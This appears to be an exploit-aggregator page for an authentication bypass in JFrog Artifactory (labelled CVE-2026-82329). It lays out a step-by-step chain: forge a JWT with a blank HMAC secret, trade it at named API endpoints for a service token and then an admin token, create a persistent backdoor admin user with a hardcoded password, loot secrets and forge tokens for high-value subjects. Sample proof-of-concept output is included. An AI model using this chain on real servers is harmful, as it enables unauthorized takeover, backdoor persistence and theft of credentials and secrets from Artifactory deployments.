Exploit for Improper Authentication in Jfrog Artifactory

## https://sploitus.com/exploit?id=49FCCCD6-2B66-5481-836E-ED29704FF510
# CVE-2026-82329-JFrog-Artifactory-

CVE-2026-82329 — JFrog Artifactory Auth Bypass

The Vulnerability

Critical authentication bypass in JFrog Artifactory (versions 7.111.20, 7.117.27, 7.125.19, 7.133.28, 7.146.37, 7.161.19). The flaw allows an unauthenticated attacker to forge a JWT using a blank HMAC secret (32 bytes of 0x20), mint an admin token, and create a backdoor user.


Exploit Chain

Step Action
1 Forge JWT with alg=HS256, kid=SHA256(""), skip_node_registration=true
2 Send JWT to /access/api/v1/registry/join → get SERVICE token
3 Exchange SERVICE token for ADMIN token via /access/api/v1/tokens
4 Verify admin access via /artifactory/api/system/configuration, /access/api/v1/tokens, /artifactory/api/system/version
5 Create persistent admin user via /artifactory/api/security/users/{user}
6 Loot config, tokens, users, repos, secrets
7 Forge tokens for high-value subjects

Attack Flow

```
BLANK_SECRET = b"\x20" * 32
    ↓
Forge JWT (HS256, kid=hashlib.sha256(""))
    ↓
POST /access/api/v1/registry/join
    ↓
SERVICE Token (scp=admin)
    ↓
POST /access/api/v1/tokens
    ↓
ADMIN Token (scp=applied-permissions/admin, aud=*)
    ↓
Prove Admin (GET /artifactory/api/system/configuration → 200)
    ↓
PUT /artifactory/api/security/users/0xTerror
    ↓
Persistent Admin User: 0xTerror:Terrorp0c!7777
    ↓
Loot: Config, Tokens, Users, Repos, Secrets
    ↓
Pivot Check: Xray, Mission Control, Distribution, etc.
    ↓
Forge Tokens for High-Value Subjects
```

PoC Output Example

```
[+] Step 1  /registry/join -> HTTP 201 SERVICE token (scp=admin)
[+] Step 2  /access/api/v1/tokens -> HTTP 200 ADMIN token (scp=applied-permissions/admin)
[+] Step 3  proof of admin: config=200, tokens=200, version=200
[+] Step 4  create admin user '0xTerror' -> HTTP 201
[=] VULNERABLE — unauthenticated attacker obtained ADMIN
      Admin user: 0xTerror:Terrorp0c!7777